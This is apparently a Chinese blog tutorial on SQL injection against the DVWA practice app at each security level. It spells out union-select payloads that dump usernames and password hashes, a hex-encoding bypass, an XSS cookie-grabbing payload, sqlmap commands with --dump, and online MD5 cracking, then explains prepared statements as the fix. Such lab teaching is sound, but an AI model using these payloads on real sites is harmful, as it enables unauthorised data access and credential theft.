cmd5在线解密(md5在线解密)

zhangyang 2022-04-23 阅读:87
  

  SQL 注入概述

  所谓SQL注入,就是通过在Web表单中插入SQL命令来提交或输入域名或页面请求的查询字符串,从而欺骗服务器执行恶意的SQL命令。就是利用现有应用程序将(恶意)SQL命令注入后台数据库引擎执行的能力。它可以通过在web表单中输入(恶意的)SQL语句,在有安全漏洞的网站上获取数据库,而不是按照设计者的意图执行SQL语句。

  一般来说,SQL注入按注入方式可分为普通注入和盲注。普通注入是指注入的页面直接显示数据库中字段的内容。我们可以通过SQL注入一步一步地在页面中显示数据库中所需的内容。但是,盲注的难度要大得多。页面不直接显示数据库字段的内容,可能只显示判断结果(是或否)。页面只能告诉你你构造的SQL语句是对还是错,你要查询的内容是否存在。在这种情况下,我们只能靠猜测。更何况,即使不显示结果,我们也可能需要通过返回数据的延迟来判断自己是否猜对了。

  根据注入数据的类型,SQL注入还可以分为数字注入和字符注入。一般来说,SQL注入需要利用网站现有的查询语句。当现有查询语句匹配的字段过滤条件为数值时,为数值注入;如果匹配字段是字符类型,则是字符类型注入。一般字符注入需要为关闭语法构造单引号,还需要添加注释使原来的单引号失效。

  此外,根据提交参数的方式,SQL注入可以分为GET注入、POST注入等。

  Low级别SQL注入实战

   手工注入

  1.将安全级别设置为低后,单击SQL注入进入SQL注入练习页面。首先,只需在文本框中输入一个ID号,发现可以返回用户信息。同时发现提交的参数信息出现在URL中,说明页面提交方法是GET,如图1所示。

「DVWA实战篇」12分钟学会 SQL  注入攻击实战

  图1

  2.在文本框中输入1 ',发现页面报错,表示执行了单引号,存在SQL注入漏洞。从错误信息中得知,这个网站的数据库是MySQL,如图2和图3所示。

「DVWA实战篇」12分钟学会 SQL  注入攻击实战

  图2

「DVWA实战篇」12分钟学会 SQL  注入攻击实战

  图3

  3.在文本框中输入1和1=1和1和1=2,都可以返回数据,说明可能注入的漏洞不是数字的,如图4和图5所示。

「DVWA实战篇」12分钟学会 SQL  注入攻击实战

  图4

ge/15a113225ca747d9948cdb9912f2250f.png?from=pc" img_width="1080" img_height="757" alt="「DVWA实战篇」12分钟学会 SQL 注入攻击实战" >

图5

4、在文本框输入 1' and 1=1#,可以返回数据,输入 1' and 1=2#,没有数据返回,说明注入成功,确认漏洞为字符型,如图6,图7。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图6

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图7

5、在文本框输入 1' order by 1 和 1' order by 2,有数据返回,输入 1' order by 3,页面报错,说明本页面只查询了 2 个字段,如图8,图9,图10。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图8

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图9

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图10

6、在文本框输入 1' and 1=2 union select 1,2#,确认页面中 First name 处显示的是记录集中第一个字段,Surname 处显示的是记录集中第二个字段,如图11。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图11

7、在文本框输入 1' and 1=2 union select database(),2#,原第一个字段处显示当前数据库名称为 dvwa,如图12。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图12

8、在文本框输入 1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#,原第二个字段处显示当前数据库中的所有表名。发现 guestbook 表和 users 表,users 表中极有可能是记录用户名和密码的表,如图13。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图13

9、在文本框输入 1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#,原第二个字段处显示 users 表中的所有字段名。其中发现 user 和 password 字段,极有可能是用户名和密码字段,如图14。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图14

10、在文本框输入 1' and 1=2 union select user,password from users#,原第一个字段和第二个字段处分别显示表中的用户名和密码,如图15。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图15

11、在 http://www.cmd5.com 破解 MD5 加密的密码,即可得到密码明文,如图16。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图16

● SQLMap 自动化注入

1、在 Kali 中访问 DVWA ,安全级别设置为 Low,进入 SQL 注入模块,随意输入 ID 值,并复制当前 URL 地址,如图17。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图17

2、由于 DVWA 需要登录才能访问该页面,所以使用 SQLMap 工具自动化注入时,需要获取当前的 Cookie 值,我们可以在反射型 XSS 的练习模块中获取当前的 Cookie。点击 XSS Reflected,在文本框中输入 ><script>alert(document.cookie)</script>,提交后即可显示当前 Cookie,如图18。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图18

3、复制当前 URL 地址,打开 Kali 的终端,使用 SQLMap 命令 sqlmap -u "http://192.168.75.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=ni3gsltihh60r1q50tiu45l8p3' --dbs,可以自动探测出当前数据库名,如图19。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图19

4、使用 SQLMap 命令 sqlmap -u "http://192.168.75.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=ni3gsltihh60r1q50tiu45l8p3' -D dvwa --table,可以自动探测出 dvwa 数据库中的所有表名,如图20。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图20

5、使用 SQLMap 命令 sqlmap -u "http://192.168.75.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=ni3gsltihh60r1q50tiu45l8p3' -D dvwa -T users --column,可以自动探测出 users 表中的所有字段名,如图21。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图21

6、使用 SQLMap 命令 sqlmap -u "http://192.168.75.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=ni3gsltihh60r1q50tiu45l8p3' -D dvwa -T users -C user,password --dump,可以自动探测出用户名和密码内容,并自动 MD5 解密,如图22,中途需要手动输入 Y 进行确认。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图22

Medium级别SQL注入实战

● 手工注入

1、安全级别设置为 Medium 后,再次进入 SQL 注入模块,发现没有了文本框,随便选择一个 ID 后,可以返回数据,且 URL 上没有显示任何参数,说明该页面为 POST 提交方式。由于页面中没有提供输入信息的接口,所以需要使用 Burpsuite 等工具来构造 POST 包,如图23。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图23

2、运行 Burpsuite,并设置好浏览器代理,如图24,图25。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图24

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图25

3、再次到 SQL 注入页面随便选择一个 ID 值,点击提交,该数据包会被 Burpsuite 拦截并显示,如图26。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图26

4、在 ID 值后加入 ' 单引号,并点击 Forward 按钮,浏览器报错,发现同样存在 SQL 注入漏洞,如图27,图28。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图27

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图28

5、再次随意选择 ID 值,在 Burpsuite 拦截的包中 id=1 后加上 and 1=1,可以返回数据,加上 and 1=2,没有数据返回,确认 SQL 注入点为数字型,如图29,图30,图31,图32。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图29

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图30

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图31

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图32

6、再次拦截数据包,加入 and 1=2 union select 1,2,确认页面中 First name 处显示的是记录集中第一个字段,Surname 处显示的是记录集中第二个字段,如图33,图34。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图33

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图34

7、查询数据库名、表名方法与 Low 级别思路一致,只不过不需要单引号和 # 来闭合语法。

8、拦截数据包,加入 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' 来查询字段名时,发现页面报错,如图35,图36。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图35

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图36

9、先暂时关掉 Burpsuite 的代理功能,在页面中点击 View Source,查看当前源码,发现对提交的 ID 值添加了 mysql_real_escape_string 函数,该函数会对单引号进行转义,从而导致 SQL 语句构造不成功,如图37,图38。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图37

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图38

10、对表名 users 进行 16 进制 HEX 编码,就可以无需使用单引号。users HEX 编码后为 0x7573657273(网上有网站可以对字符进行在线 HEX 编码,可自行搜索)。重新开启 Burpsuite 的代理功能后,在拦截的包中加入 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273,可以成功查询出字段名,如图39,图40。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图39

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图40

11、拦截数据包,加入 and 1=2 union select user,password from users,可以成功查询出用户名和密码的内容,如图41。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图41

● SQLMap 自动化注入

1、使用 SQLMap 自动完成 POST 注入,需要把正常 POST 包的内容复制到一个 txt 文档,再调用文档来进行注入。先使用 Burpsuite 拦截正常 POST 包,右键 - 选择 Copy to file 复制到 /root/post.txt,关闭 Burpsuite 的代理功能,再使用命令 sqlmap -r /root/post.txt --dbs,来查询数据库名称,如图42,图43,图44。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图42

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图43

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图44

2、使用 SQLMap 命令 sqlmap -r /root/post.txt -D dvwa --table,查询表名。

3、使用 SQLMap 命令 sqlmap -r /root/post.txt -D dvwa -T users --columns,查询字段名。

4、使用 SQLMap 命令 sqlmap -r /root/post.txt -D dvwa -T users -C user,password --dump,查询用户名和密码内容。

High级别SQL注入实战

1、设置安全级别为 High,点开 SQL 注入页面,发现没有输入框,点击 here to change your ID,跳转到新窗口输入查询信息。分离了输入页面和显示结果页面,防止使用 SQLMap 等工具进行自动化注入。同时,确认该页面参数提交方式为 POST,如图45。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图45

2、分析页面源码,发现加入了 LIMIT 1 来限制 SQL 语句最多只查询出一条记录,导致无法正使用常规注入手段来爆出数据库中其他内容,如图46。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图46

3、在文本框输入 1',发现页面报错,但是报错内容被替换,无法得知数据库类型,如图47。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图47

4、在文本框中输入 1’ and 1=1#,注释掉后面的 LIMIT 1 命令使其无效,可以返回数据,加入 1‘ and 1=2#,没有返回数据,说明仍存在 SQL 注入漏洞,并确认漏洞为字符型,如图48,图49。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图48

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图49

5、后续注入步骤与 Low 级别思路一致,不再赘述。

Impossible级别SQL注入

设置安全级别为 Impossible,查看 SQL 注入页面源码,发现使用了 PDO 技术,几乎彻底杜绝了 SQL 注入,如图50。

「DVWA实战篇」12分钟学会 SQL 注入攻击实战

图50

PDO 是 PHP Data Objects(PHP 数据对象)的缩写。是在 PHP5.1 版本之后开始支持的技术。不使用 PDO 技术时,SQL 语句是先在本地拼接完成后,再传递至数据库处理,所以会导致用户提交有猫腻的变量来改变原 SQL 语句的结构,从而实现 SQL 注入;使用 PDO 技术后,是先把 SQL 语句的整体语法,匹配的参数用 ? 当做占位符一起发送至数据库,然后再把用户提交的查询参数发送至数据库,由数据库来完成变量的转移处理。将 SQL 语句的整体语法结构和变量分开两次传递至数据库,从而导致那些有猫腻的变量无法再改变 SQL 语句的原始结构。这种情况下,SQL 注入攻击几乎无法实现。这也是目前比较有效的防御 SQL 注入攻击的方法之一

评论(0)

二维码